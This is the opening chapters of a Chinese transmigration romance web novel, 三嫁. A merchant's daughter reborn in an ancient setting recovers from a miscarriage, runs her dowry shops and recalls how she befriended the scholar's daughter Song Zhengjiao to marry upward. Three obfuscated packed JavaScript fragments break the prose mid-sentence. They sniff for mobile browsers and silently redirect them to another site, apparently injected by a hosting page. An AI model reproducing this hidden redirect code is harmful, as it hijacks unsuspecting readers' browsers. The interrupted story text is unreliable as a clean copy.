《三嫁》
1. 第1章
“夫人,该喝药了。”金婵端着一碗黑乎乎的汤药来到床边。
她口中的夫人靠坐在床头,腿上盖着碧色的金丝鸳鸯锦被,被面莹滑,隆起一道道褶皱,恰似一汪涌动的春水,上头绣的鸳鸯仿佛在水上沉浮,愈发显得栩栩如生。
她手边放着一张螺钿雕漆小桌,桌上搁着几摞账本,手里正拿着一本账册翻看着。
闻言,沈映秋头也没抬,翻过一页账册,在纸上记了几笔,温声道:“放着吧,我待会儿再喝。”
前些日子她滑了胎,小产了,婆母请大夫来,给她开了一副温补的药方,连着喝了大半个月,如今她闻着那股药味儿就有些反胃。
金婵柔声劝道:“夫人,药得趁热喝,不然药性就差了,您早些喝了药,也好早日养好身子,为二爷诞下小公子啊。”
沈映秋眉心蹙了蹙,她知道金婵是为了她好,但这话她听着有些不舒坦。
金婵又打开蜜饯罐子,用金镊子夹了两颗红艳艳蜜津津的枣儿出来,搁在白润如玉的小瓷碟里,和另一只手上的汤药一齐朝夫人递去。
沈映秋心里叹了声,罢了,这药迟早是要喝的。
接过来,屏着呼吸,一气喝了下去。
趁着舌头还没反应过来,赶紧用银签子叉着蜜枣送进嘴里。
蜜枣甜得发腻,但用来中和那股苦药味儿却是十分有效。
“叫翠娥进来,我有些话要问她。”
金婵、翠娥是她出嫁前的两个贴身大丫鬟,她嫁入江家后,金婵便成了她这院子里的管事,料理她的衣食住行等一应事务。
翠娥则帮她打理嫁妆铺子,替她在外行走。
她名下的嫁妆铺子有十好几间,为免铺子里的掌柜欺上瞒下,在账册上动手脚,她每个月都会抽查几家铺子的账本。
刚才她查看米铺的账册时,发现上个月米的进价比以往高出许多,自然得找翠娥来问问。
翠娥平时都在外头替夫人巡视产业,难得回来一趟,今儿来给夫人送账册,院子里的一群小丫头都围着她,如一群雀鸟似的在她耳边叽叽喳喳。
“翠娥姐姐,外头可有什么新鲜事儿,给咱说说呗。”
“翠娥姐姐,吃芝麻饼,这是我特意给你留的。”
“翠娥姐姐,我托你带的桂花头油你带了嘛?”
……
金婵出来见到被众星捧月的翠娥,好笑地走过去:“好啦,都别围在这里了,该干嘛干嘛去。”
又对翠娥道:“夫人要见你呢。”
一个叫银果的小丫头机灵地跑过去,打起布帘子,圆圆的小脸冲着两人笑,露出了两个可人的酒窝,瞧着跟一块白白软软的糖糕似的。
翠娥捏了下她的脸蛋,“等我回来继续给你们讲薛掌柜火眼金睛,一眼辨真假古董的故事。”
一踏入内室,翠娥便闻到了一股沁人心脾的清幽梅香。
那香味来自窗下条案上的金狻猊香炉,香气自金狻猊的兽口喷吐而出,经透过窗棂的阳光一照,便折射出了梦幻般的紫色。
仿佛那金狻猊真的在吸收日月精华修炼一般。
翠娥忍不住深吸了一口,去过那么多地方,还是夫人的闺房最香。
结果冷不丁吸进了一丝清苦的药味。
夫人连日喝药,这屋子都被熏染上了一股药味。
想到夫人那么怕苦的人,如今却要日日喝那苦药汤子,翠娥就一阵心疼,快走几步来到床边。
看见夫人的那一刻,翠娥便有些晕陶陶的,脸颊也泛出了一丝红晕,数日不见,夫人还是这般美丽动人。
只是在月子里,未曾上妆,唇色素淡,不复往日艳光。
“夫人,我给您带了一只竹根雕的狸奴,您瞧瞧可喜欢。”
翠娥献宝似的从挎包里捧出一只匣子,打开来。
夫人虽生于大富之家,却很喜欢这些寻常的小玩意儿,尤其喜欢猫形之物,她每回来都要带一些给夫人。
沈映秋将匣中之物拿出来,托在掌心里细细瞧着。
竹根雕刻的小猫,不过小儿拳头大小,袖珍玲珑,猫咪的脑袋仰得高高的,尾巴翘着,实在傲娇软萌。
“真可爱,我很喜欢。”沈映秋爱不释手地把玩了一番,这才将小猫摆放在小桌上。
见夫人露出笑容,翠娥便油然生出一股巨大的满足感来。
沈映秋打开点心匣子,“吃果子。”
翠娥也不客气,拿起一块雪酥饼吃起来,一只手托着帕子放在嘴巴下面,免得饼的碎屑掉落下来。
这雪酥饼薄如银片,凌脆如雪,又香又酥,入口即化,有咸甜两种口味,翠娥更喜欢吃甜口的,不过咸口的也不错。
总之夫人这里的吃食都美味极了。
主仆俩闲话了几句家常,沈映秋这才进入正题:“我瞧着米铺上月的米粮进价比往常高出许多,这是何故?”
她名下有几处庄子,庄子里产出的粮食一部分囤积起来,以备不时之用,一部分自家吃,剩下的则是送去米铺售卖。
不过米铺需求量大,庄子上的产出只能供应五分之一左右,大头还是得另外购买。
进价一下子高出这么多,她不得不产生怀疑。
翠娥拿帕子擦了擦嘴,脆生生回道:“夫人,去岁咱们池州大旱,庄稼收成都不好,您名下也有两处庄子受到了影响,送去米铺的粮食比以往少了六成。
“另外,去年刺史大人为了赈灾,买了不少米粮分发给百姓,池州的粮食已经不剩多少了。
“如今才开春,地里的粮食又还没长起来,陈掌柜在池州根本收不到粮,只得到外地去买,那些卖粮的人知道咱们池州发了灾缺粮,都趁机涨价。”
说起这个翠娥就很气,将雪酥饼咬得咔嚓作响。
“再加上来回的运费,米的进价自然就高出不少。”
沈映秋恍然:“我想起来了,去年刺史府的立冬宴上,刺史大人提过此事,还向赴宴的人募过款,说是要帮那些受灾的百姓度过冬天,当时我将身上的首饰都捐了,还出了一千两银票。”
到了冬天,她也随大流设了粥棚,给百姓施粥施药。
本以为翻过年灾情已经过去了,谁知后续还是会受到影响。
翠娥喝了口热腾腾的茶水,“陈掌柜嘱咐我问您一声,粮食进价高出许多,售价可要随之调整?若还是往日的价钱,那铺子可就要折本了。”
沈映秋:“城中别家米铺的售价如何?”
翠娥:“城中二十八家米铺,李记米铺如今斗米二百钱,张麻子米铺斗米二百二十文钱……”
她将城中各家米铺的售价一一道来。
沈映秋听罢,从各家米铺的售价中取了个中位数,“咱们也不指着米铺赚钱,但也不能亏本买卖,就涨到二百一十文罢。”
说完在纸上将此事的前因后果写了下来,签了名,盖上印章。
翠娥接过那张盖了印的条呈,好生收起来。
在夫人这里蹭了顿午饭,这才依依不舍地离开。
在床上躺了一天,傍晚时分,沈映秋估摸着江明亭要回来了,便下了床收拾了一番,在唇上抹了口脂,叫自己的气色看起来更好一些。
虽然江明亭嘴上心疼她小产受罪,但男人都是视觉动物,若是日日回来看见她寡淡的模样,那心疼恐怕要大打折扣了。
披上一件外裳,沈映秋在外间走动了一下,活动一下身子骨。
廊下摆了一溜水仙花盆栽,白花黄蕊,亭亭玉立,看着就叫人喜欢。
墙角还有一株老梅树,枝头上梅花朵朵,开得热闹。
比起在屋子里转悠,沈映秋更想去院子里走一走,透透气。
穿到这个世界七年了,上辈子在工位上猝死的她,这辈子很注重养生,将自己的身体养得很健康。
这次小产虽然让她伤了些元气,但大半个月的卧床修养下来,她已经好得差不多了。
只是金婵依旧待她小心翼翼的,仿佛她是一碰即碎的琉璃瓶。
她也不好顶着她担忧关切的眼神,硬要到院子里吹风,只能在门口欣赏一下屋外的春色,嗅一嗅真正的梅香。
到了摆饭的时辰,江明亭还没回来。
一个清秀瘦长的小厮走进院子,绕过山水花鸟影壁,在廊下站定。
“阿墨,怎么就你一个人回来了?二爷呢?”沈映秋问。
阿墨敛着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222418|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手,低头回道:“夫人,二爷被夫子留下了,说是讨论前两日作的一篇文章,怕夫人空等,就遣小的回来告诉您一声,让您先吃,不必等他。二爷还不定什么时候回来呢。”
沈映秋倒也不失望,自己一个人吃还清净些,声音却是低落下来:“我还特意吩咐厨房做了他爱吃的菜,既然他不回来了,那你就替我把这几道菜送去给他吧,他素来不爱吃书院里的饭菜。”
她的夫君江明亭,她花费五年时间精挑细选、使了百般手段嫁的人,乃是这宣城郡守的小儿子,已经考取了秀才功名,就等着明年下场一试真章,看能否摘下举人头衔。
如今他在宣城最有名的白泽书院读书,早去晚回,有时候会直接在书院的宿舍住下。
像这种课后被夫子留下来讨论文章的事,时有发生。
毕竟江明亭是郡守之子,夫子们是很愿意给他开一下小灶的。
沈映秋说话间,金婵已经拿来了食盒,将江明亭爱吃的那几道菜分装了进去。
沈映秋用帕子包了几块糕点递给阿墨,“你也还没吃吧?拿着垫垫肚子。”
阿墨忙接过来,“多谢夫人。”
将包了糕点的帕子塞进衣襟里裹着,一面从金婵手里接过食盒,告了声退,离开了。
半夜沈映秋醒了一回,发现旁边没人。
这么晚还没回来,难道今晚江明亭留在书院了?
翌日,沈映秋被脸上轻微的瘙痒弄醒了。
睁眼一看,江明亭坐在床边,正拿着一束头发搔她的脸。
他比她大一岁,今年十八,从芯子到身体都十八,正是风华正茂、少年得意的年纪,性子免不了有些孩子气。
不像她,外表虽才十七,芯子却已经千帆过尽、稳如老狗了。
所以他总喜欢逗弄招惹她,想看她气急败坏、情绪失控的样子。
沈映秋抬手搂住他的脖子,将人往下拉,在他唇上亲了亲,声音带着刚睡醒时的慵懒余韵,“什么时候回来的?”
江明亭小狗似的在她脸上蹭了蹭,“昨晚二更初回来的,见你已经睡了,怕扰了你,就在书房睡下了。夫人可是想我了?”
说着手就不老实起来,往她衣领里钻。
当初沈映秋千方百计地想嫁给江明亭,除了看中他的家世外,他的容貌和气质也占了很大一部分原因。
他就像是刚从枝头摘下来的石榴籽,瑰艳晶莹,清澈明净,最关键的是,他身上的气息很好闻,如石榴一般甘甜清爽。
然而再清澈干净的男人,婚后一旦开了荤,也会变得一言难尽。
那动手动脚、涎皮赖脸的模样,粉碎了她这个前世大龄单身女青年对于爱情的浪漫幻想。
呵,男人,不过是一头发-情的兽。
不过看在他那副皮囊的份上,她多数时候都能容忍,且沉浸其中。
两人闹了会儿,沈映秋揪了揪他的耳朵,“起来了。”
江明亭不情愿地哼唧了会儿,又亲了亲她的脖子,这才起身。
沈映秋瞥了眼他那被顶起来的衣袍下摆,暗自一笑,有种隐秘的报复的快感。
——她的小产虽然怪不到他头上,但是谁叫他是让她怀孕的人呢?她就是要迁怒,让他也不好受。
用过早饭,沈映秋在廊下目送江明亭去上学。
江明亭走了两步,又倒退回来,从怀里拿出一根玉簪,插入她发间。
“昨晚回来路过一个首饰摊,一眼就瞧见了这根玉簪,这簪玉质一般,但上头雕刻的狸奴蹴鞠颇有巧思,我想着夫人定会喜欢。”
沈映秋摸了摸玉簪,眉眼间晕开笑意,朝他勾了勾手指。
江明亭眼睛一亮,乖乖低下头。
沈映秋在他唇角亲了亲。
江明亭乐颠颠地去上学了,路过院子里那棵高大的枫树时,还往上蹦了蹦,伸手扯下了一片叶子。
他也没丢,而是将枫叶珍藏般收进了怀里。
看到这一幕,沈映秋不禁莞尔一笑,连日喝药卧床的郁气都散了不少。
虽然婚后免不了有这样那样的烦恼,偶尔也会对自己当初的决定产生怀疑,但看到这样的江明亭,她便觉得一切都值了。
2. 第2章(修)
出了小月子后,沈映秋第一件事就是出门晒太阳。
今日天气晴好,太阳暖融融的,阳光肆意地照在身上,仿佛在给她做Spa。
她站在半人高的水缸边,朝里头撒鱼食,看着鱼儿在里头聚散争抢。
水缸里养的鱼并非什么名贵品种,也没有绚丽鲜艳的色泽,只是她三年前去庄子上避暑时在小溪里抓的。
鱼小小的,但给她带来了极大的乐趣。
好歹是自己抓的,那就带回来养着吧。
这一养就是三年,嫁到江家来时,她那近乎绕城一周的嫁妆里就有这一缸鱼。
对于几条小鱼儿来说,这口缸太空旷了,以免鱼儿们孤单,她还让人在里头种下了睡莲。
到了夏天的时候,漫画般的天空倒映在清澈的水面上,鱼儿在莲叶间游动,那幅画面实在赏心悦目。
一片落叶飘落在了水面上,漾起一圈圈涟漪。
金婵走过来,“夫人,宋夫人给您下了帖子,邀您明日去清欢楼吃茶。”
沈映秋拍了拍手,接过请帖,帖子浸染了一股墨香,青绿色为底,几笔看似简单写意的墨痕勾勒出一幅空灵悠远的山水画来。
上头还题着两句诗:半壕春水一城花,且将新火试新茶。
不愧是宋铮皎的画风,精致又文雅。
不像她,发出去的帖子只会贴金花。
“在屋里窝了这么久,我早就想出门逛逛了,她这帖子来得正好。”
沈映秋写了回帖,表示明日一定到,让金婵拿去交予来人。
自己则进了内室,为明日的赴约做准备——衣裳、首饰、妆容这些,都得提前准备好,不然等到明天再弄就要手忙脚乱了。
宋铮皎乃是白泽书院山长的独女,嫁给了池州刺史的独子,在这池州地界,除了刺史夫人外,就是她独占鳌头了。
沈映秋跟她的相识,起于一件首饰。
穿来没多久,她就听说过宋铮皎的名头,这位白泽书院山长的独生女,在宣城是有名的才女,三岁能文五岁能诗八岁弹得一手好琴……
沈家虽然豪富,但在那些高官名士眼中,是满身铜臭气的,是不入流的,所以沈映秋压根儿不觉得自己和宋铮皎这样的清流名士后人会有什么交集。
正如前世的她,不觉得自己会和电视上的大明星有什么交集一样。
但缘分就是这么奇妙,将两个不同圈层的人凑到了一起。
有一日,她到宝胜楼去取定做的首饰——她自己画的样式,一根十分华丽的步摇簪,簪身是金子,簪头用宝石、珍珠等打造出了“花下猫蝶戏”的形态。
她为之取名为猫蝶簪,“猫蝶”与“耄耋”谐音,而耄耋是指年老长寿者,所以“猫蝶”有着长寿的寓意。
是她特意为这一世的娘亲准备的生日礼物。
宝胜楼就是她自家的首饰铺子,给她这个小姐打首饰,那自然不敢偷工减料,八分的设计在手艺精湛的老师傅手里,发挥出了十二分的效果,成品华美灿烂,流光溢彩。
结果铺子里的伙计一不小心犯了错,将这根不对外出售的簪子摆到了柜台上。
偏偏还被宋铮皎看到了,她想将这根簪子买下来。
沈映秋恰在这时到了店里。
掌柜的向她求救,沈映秋便出面向宋铮皎解释了一番,但宋铮皎却表示:“既然贵店将这根簪子摆了出来,那就是可以出售的,怎的我一问价,你们就说不卖?难道是故意给我难堪吗?”
沈映秋可不敢应下,眼前这位可是宋少隐宋大儒的独女,宣城第一才女,文学界一颗冉冉升起的明星,若是惹得她不快了,回头她写首诗来阴阳宝胜楼怎么办?
那宝胜楼的生意就不用做了。
沈映秋打算忍痛割爱,将簪子直接送给宋铮皎,赔礼道歉。
至于给娘亲的生日礼物,还有几天,可以另外再准备一份。
哪知宋铮皎又不乐意了,“方才还不卖,现在却要直接送给我,贵店就是这样做生意的?无非是看我身份不一般罢了,若是个寻常人,你们是不是就要店大欺客了?”
沈映秋:“……”
这位传说中的大才女,真是不好惹。
最后,宋铮皎没要簪子,也没再为难宝胜楼,而是提出了一个让沈映秋有些意外的要求——
“跟我走一趟。”
沈映秋也不怕这位宣城第一才女把她给卖了,带着丫鬟跟着她去了。
宋铮皎带她去了一座墓碑前,墓中埋的是她母亲,原来那天是她母亲的忌日。
她想将那根簪子买下来祭奠她母亲。
“我娘生前,从来没戴过那般华丽好看的簪子。”
沈映秋安慰她:“想来宋夫人性喜素雅,不爱戴这种俗气的首饰。”
宋铮皎:“不,是因为没钱买。”
沈映秋大为惊讶,名满天下的大儒宋少隐的妻子,竟然会买不起贵重的首饰?
接着,宋铮皎向她吐露了一段少为人知的往事。
原来宋少隐年轻时,只是一个寂寂无名的书生,那时候白泽书院的山长是宋铮皎的外公。
不过当时的白泽书院只是一间小小的私塾,远不及现在名气大。
郭老,也就是宋铮皎的外公,看中宋少隐的才情和人品,将独女许给了他,郭老去世后,宋少隐继承了白泽书院,靠着教书度日。
教书之余,宋少隐继续读书科举。
原本宋家的日子还算过得去,但宋少隐心肠慈悲,经常接济一些穷苦学生,导致自家入不敷出。
宋夫人为了家中生计,不得不织布刺绣来换钱。
“我娘织布到深夜,为了给我爹买笔墨;我爹对学生慷慨解囊,自家却无米下锅;我娘重病在床,家里却拿不出买药钱……”
宋铮皎往火堆里放了几个金元宝,又放了一辆金灿灿的马车,一群纸扎的丫鬟奴仆。
“后来我爹著书立说,凭着一部《宋氏经略》名声大噪,不少人捧着重金前来求见,来白泽书院求学的人越来越多,朝廷还想破格免除科考,让他直接入朝为官……我以为我娘有救了,可以看得起病了,然而我爹通通都拒绝了。”
说到这里,宋铮皎一把捏瘪了一只金元宝,那张火光映照下的端雅面容,因怨怒而变得锋利了几分。
沈映秋不知宋铮皎为何要将这些隐秘之事告诉自己,她们才第一次见面啊。
或许是因为宋大儒独女+才女的身份给她带来了巨大的压力吧,她平时无处宣泄,而今天是她母亲的忌日,她积压多年的情绪忍不住释放了出来。
而自己,恰好出现在了她面前。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222419|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宋铮皎继续烧着纸钱,“当初他但凡肯卖出一幅字画,肯接受别人送来的重礼,肯入朝为官……我娘也不至于积劳成疾,重病在床,最后因买不起药而撒手人寰,我也不至于年少失恃,跌跌撞撞这么多年。”
沈映秋绞尽脑汁想着该怎么安慰她,宋铮皎忽然转过头来,问她:“你觉得我是个什么样的人?”
沈映秋懵了下,下意识答道:“满腹才情,清高自傲,目下无尘,得理不饶人——”
说到这里她忽然反应过来,忙住了嘴。
宋铮皎却是不在意,嗤笑了一声,“你只说对了一半,清高自傲、目下无尘?那是在人前装的,我娘去世那天,我就发誓,以后绝不再为钱财发愁。
“所以当我爹要把我许配给他自认为前途远大人品贵重却连间房子都没有的弟子时,我第一次反抗了他,我要嫁就嫁进荣华富贵之家。
“我爹最终还是妥协了,我如愿和刺史大人的独子订了婚。今天,我就是来告诉我娘这个消息。”
沈映秋最终还是没忍住,问出口:“你为什么要把这些事告诉我?”
宋铮皎:“我也不知道,或许是因为,你只是一个商户之女吧,就算你将这些事泄露出去,别人也不会信,又或许是因为——”
她目光落在她的脸上,眼底深处是对美好事物的欣赏和包容,“你生得美,美人和美人之间总是惺惺相惜的,所以我会不由自主地对你倾诉。”
沈映秋:“……”
她心里一动,或许,宋铮皎的出现,对她来说是一个天赐良机。
一个能够进入更高圈层,钓到金龟婿的机会。
前世她生活在高度发达的现代社会,不结婚尚且会招来异样的眼光。
如今穿进了古代,她如果不结婚,恐怕会被当做异类,根本没有不结婚的选项。
既然迟早都要结婚,那还不如早早开始相看,为自己选一个可心可意的丈夫。
原先她的目标是跟沈家门当户对的人家,这样她嫁过去了,背靠沈家,再加上丰厚的嫁妆,日子总归差不到哪里去。
哪知她长着长着,容貌变得越发祸水起来。
漂亮得她自己都有些心惊。
这样的容貌,寻常人家怕是hold不住吧。
真不是她自恋。
每次出门,那个回头率,足够让她意识到自己的容貌有多出众。
走在路上莫名其妙就有人送她花,送她吃的,还不断有人拦住她,要请她喝茶,请她吃饭,请她去游湖……
商户之家没那么多规矩,所以及笄之前,她还是挺自由的,出门都不会被卡,但是自从有一次差点被一个纨绔子弟当街抢走后,家里人就不许她再出门了。
她自己也不敢明晃晃地在外面走了。
若是出门,必定要戴上面纱,或者给自己易容化妆一番,遮掩一二。
但总这么着也不是个事。
若是哪一日不慎暴露容貌,被哪个高官纨绔看上了,那她的下场绝对会很惨。
思来想去,她改变了择偶的要求,跟沈家门当户对的人家也大概率是商户,很可能护不住她,唯有向上找,找一个她攀得上且家世比较过硬的人才行。
想法是有了,但怎么实现呢?
看着宋铮皎,沈映秋有了主意。
3. 第3章
“皎皎,我可以这样叫你吗?”沈映秋露出了一抹狐狸看到葡萄般的甜蜜笑容。
宋铮皎有些奇怪地看着她,“突然对我这么亲近,莫不是别有所图?”
沈映秋被道破心思,轻咳了一声,“先恭喜你得偿所愿,跟刺史府的公子定了亲,我想问一下,宋山长可给你准备好了嫁妆?”
嫁妆一般是母亲给女儿准备的,但宋铮皎母亲去世得早,她爹宋大儒又一心教书育人,著书研学,怕是没能顾得上。
况且就算顾得上,以宋大儒那清高脱俗的性格,手里恐怕也没有多少财物。
果不其然,宋铮皎摇了摇头,“我爹听着名头大,我也是宣城所谓的第一才女,但其实我家根本没什么钱,先前那根簪子,你即便是卖给我,我也买不起。
“我家最多的是书,除了书就是书,那些书若是卖出去,倒是能值不少钱,可我爹是绝不会卖书的。
“我想,到时候他给我的嫁妆,大概就是几箱子书了吧。”
沈映秋循循善诱:“你满腹才情,刺史大人既然愿意为他儿子聘你为妇,那你嫁过去之后应当也不会遭受什么磋磨,起码面上是过得去的。
“但人生在世,衣食住行这些哪一样不得花钱呢?手里有钱心里才不慌,嫁妆是一个女子最大的底气,你说对不对?”
宋铮皎似笑非笑地瞧着她,“你到底想说什么?”
沈映秋:“银子、铺子、田产、衣料、首饰……这些你想要吗?”
宋铮皎的第一才女之名不是虚的,闻弦歌而知雅意:“你肯给我?有什么条件?”
沈映秋:“说条件就太生分了,不如我们各取所需?我帮你赚钱攒嫁妆,你带我进入宣城的名流圈子,我想嫁入高门。”
宋铮皎:“有些圈子即便你进去了,也不一定能站稳脚跟,即便站稳脚跟了,以你商户之女的身份,想要嫁入高门也不是那么容易的。”
沈映秋指着自己的脸:“你觉得以我的姿色,寻常人家能护得住吗?”
宋铮皎眼神微动,明白过来,“以你的容貌,进宫当娘娘是最稳妥的,可惜当今圣上已经不再选秀了,倒是太子你可以期望一下。”
沈映秋:“太子那样的人我可不敢肖想,一入宫门深似海,我这样的进了宫,恐怕活不过三集。”
宋铮皎面露疑惑:“活不过三集?”
沈映秋:“嘴瓢了,是活不过三天。”
两人就这样说定了,开始了互惠互利的合作。
借着沈映秋这位宣城富商之女的手,宋铮皎在婚前积累了不少钱财资产。
在宋铮皎这个宣城第一才女的带领下,沈映秋挤入了原先的自己高攀不上的圈子。
但进入圈子只是第一步,如何钓到合适的人选才是关键。
想到从前自己和宋铮皎的一步步骚操作,沈映秋便不由得笑了笑。
如今的她们,也算是各得其所。
只是得偿所愿后,依然免不了有各种烦忧。
所以时不时就会私下见个面,互相吐槽一番。
翌日一早,沈映秋打扮一新,去了婆母的院子。
她出门得向婆母请示一番,得到允许了才能出门。
她到的时候,婆母江夫人正在吃早饭,桌子上摆着炸鱼、鸡汤还有虾。
沈映秋已经见怪不怪了,她婆母一日三餐都是大鱼大肉的,早上这还算好的,有时候甚至还会一大早啃猪蹄。
刚嫁进来那会儿,婆母使唤她侍膳,她委婉提醒过她,吃得这么荤不太好,时间长了容易生病。
结果婆母来了一句:“你咒我?你是不是见不得我吃得好?”
沈映秋还能说啥呢,只能随她去了。
但奇怪的是,她婆母每天吃这么多高热量的东西,却也不见长胖,也没有得什么病,依然吃嘛嘛香,气色红润。
这大概和她每天挑水种菜、赶鸡喂鸭有关吧。
要问她婆母身为郡守夫人,为何会像农妇一样种菜养鸡?
那是因为,她婆母本就出身乡下,她公公和婆母是一个村的,两人算得上青梅竹马。
但是她公公是个读书苗子,靠着自己的勤奋和努力一步步考了上去,高中进士,当上了官。
从世俗的角度来讲,这个时候两人的身份地位已经拉开了巨大的差距,但她公公依然遵守诺言,回来迎娶了她婆母。
此后的二十多年里,她公公从一个九品小官,一路升到了现在的正四品郡守位置,可谓是青云直上,步步高升。
她婆母也成了四品的诰命夫人。
在外她婆母还是颇能端起高官夫人的架子的,但是在家里,在她自个儿的院子里,她就原形毕露了。
准确来说,是本色出演,释放天性。
就如此刻,她直接拿着一根大鸡腿在那里啃着。
见老二媳妇过来,江夫人使唤她:“老二家的来了,来给我剥虾。你都有一个月没伺候我了,过来了也不知道机灵点儿。”
沈映秋顺从地走过去,洗了手,给她剥起了虾。
江夫人瞅了她一眼,“才刚出月子就穿得跟个花雀儿似的,是要到外头会野男人?”
沈映秋嘴角抽了抽,“娘,您是想说花枝招展吧?”
江夫人:“就显摆你有学问。”
嘴上这么说,转头就用上新学的词儿了,“那你说,你穿得这么花枝招展的,是要去干嘛?”
沈映秋:“我的确是要出门,不过不是您想的那样,我这不是一个月没来伺候您了吗,想着出门去给您买点好吃的,孝敬孝敬您。
“我记得您最爱吃金大娘家的酱肘子,是不是?这回我给您买四只,您一顿吃一只,还能留一只晚上当宵夜。”
江夫人想到金大娘家的酱肘子,觉得手里的鸡腿都不香了,但让她这么痛快就放小儿媳出门,那是不可能的。
“买酱肘子也不急于一时,你先去后院把地里的草拔了,再浇浇水。”
沈映秋二话不说就去了。
不过她不是真来干活的,意思意思拔了两根草,就从荷包里拿出一颗金蚕豆来,一路举着走回去,“娘,我在地里捡到了一颗金花生!”
江夫人一下子跳了起来,腿脚灵活地冲过来,“这是我掉的,我昨天刚掉了颗金花生,到处都没找见,没想到被你给捡着了,快还给我。”
说着就要从她手里夺过那颗金子。
沈映秋胳膊一转,没让她得逞,“娘,你确定这颗金花生是你掉的?”
江夫人:“那不然还有谁?你在我的菜地里捡到的金子,那肯定就是我掉的。”
沈映秋摊开手来,“可是娘,我捡的不是金花生,是金蚕豆啊。”
江夫人懵逼了一瞬,反应过来破口大骂:“你眼睛长到□□里去了?连花生和蚕豆都分不清?”
气咻咻地坐了回去。
然而她平生最爱金子,眼见老二家的在那里把玩那颗金蚕豆,她是馋得抓心挠肝,恨不能立刻拿到手里。
眼珠子一转,她忽然一拍脑门:“哎哟我记错了,我昨天掉的就是金蚕豆,不是金花生,张妈妈,你说是不是啊?”
冲着张妈妈使眼色。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222420|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>张妈妈心领神会,一拍大腿,活灵活现地配合她的主子:“没错儿,就是金蚕豆,先前是您记差了。”
这主仆俩一唱一和的,就是想将沈映秋手里的金蚕豆弄走。
沈映秋也很配合:“是吗?那还给娘你吧。”
江夫人迫不及待地接过那颗金蚕豆,拿在手里掂了掂,又咬了咬,确定它是真的后,赶紧宝贝地藏进自己的怀里。
从小儿媳这里得了颗金子,江夫人看她忽然顺眼了起来,又怕她回过味来将金子拿回去,冲她摆了摆手:“你不是要出门吗?快去吧,别忘了我的酱肘子啊。”
目的达到,沈映秋顺利出门,乘着轿子来到了清欢楼。
清欢楼也是她名下的铺子,她给自己和宋铮皎各留了一间雅间,今日是宋铮皎做东,她便去了临江仙房。
宋铮皎的贴身丫鬟南溪候在门口,“沈夫人,您来了,我们夫人就在里头呢。”说着推开了房门,对她做了个“请”的手势。
沈映秋点了点头,走了进去。
临窗茶几边的宋铮皎头也没抬,仍旧拿着金渠碾着玉钵里的茶叶。
她的打扮一如既往的清雅,穿了件珍珠白的薄袄裙,乍一看很素净,但细看就能发现,袄裙的领口、袖口、裙摆等位置,用极细的金丝绣了花纹,阳光一照,那衣裳上便似有金光在流转。
可谓低调的奢华。
沈映秋朝她招呼了声:“皎娘,我来了。”
宋铮皎“嗯”了声。
沈映秋将身上的月白披风除掉,挂在衣架上,走过去在她对面落座。
宋铮皎这才抬头看了她一眼,“一月不见,你发福了。”
沈映秋将捧在手里的鎏金兽首铜炉搁到一旁,“坐了个月子,整天吃着各种补汤补药,能不胖嘛?倒是你,瞧着清减了几分。”
宋铮皎:“你也知道我那婆母,顿顿都要我侍膳,她吃完了我才能坐下来,冷汤冷饭的,我哪里吃得进去?”
沈映秋:“那你也没给自己开个小灶?”
宋铮皎:“她说没分家,不能开小灶,不合规矩。”
沈映秋:“时间长了你身子怎么受得住?”
宋铮皎:“我又不是傻的,要是饿了会叫小丫鬟到外头买吃食来。”
沈映秋这才放了心,看向她面前的玉钵,问:“这是什么茶?”
宋铮皎:“龙凤团茶,贡品。”
玉钵中的茶叶,已被碾得粉碎,如琼粉玉屑。
宋铮皎将细腻的茶粉扫入茶壶中,打开一只紫黑色的陶罐,“这是去年梅花上扫下来的清雪,贮存在紫砂陶罐里,埋在梅花树下,今早上才取出来。”
沈映秋赞叹道:“扫雪煮茶,雅。”
虽然她觉得雪水和寻常的水也没什么区别,但对于好友的爱好,也不会说出扫兴之语。
小火炉上,茶壶中的水沸腾了,咕嘟咕嘟犹如泉水喷涌,阵阵茶香氤氲开来。
宋铮皎给沈映秋斟了一杯茶,茶具也是她自带的,是一套经年的紫砂茶具,古朴雅致,温润如玉。
沈映秋捧起茶杯,暖烘烘的,但并不烫手。
茶汤纯净,清亮晶莹,深吸一口,香气灌顶。
她小心地轻啜一口。
宋铮皎问她:“如何?”
沈映秋:“妙不可言,不愧是贡茶,我也是沾了你的光了。”
宋铮皎笑嗔了她一眼,“贫嘴。”
“前天我在刘远志衣服上闻见了别的女人的脂粉味。”聊了一阵后,两人一个多月未见的那股生疏感消失了,宋铮皎忽然说了这么一句。
4. 第4章
沈映秋抓了把瓜子嗑起来,“这次又是谁?”
不是她不关心宋铮皎,而是刘远志眠花宿柳是常有的事,两人私下里都当成八卦来聊。
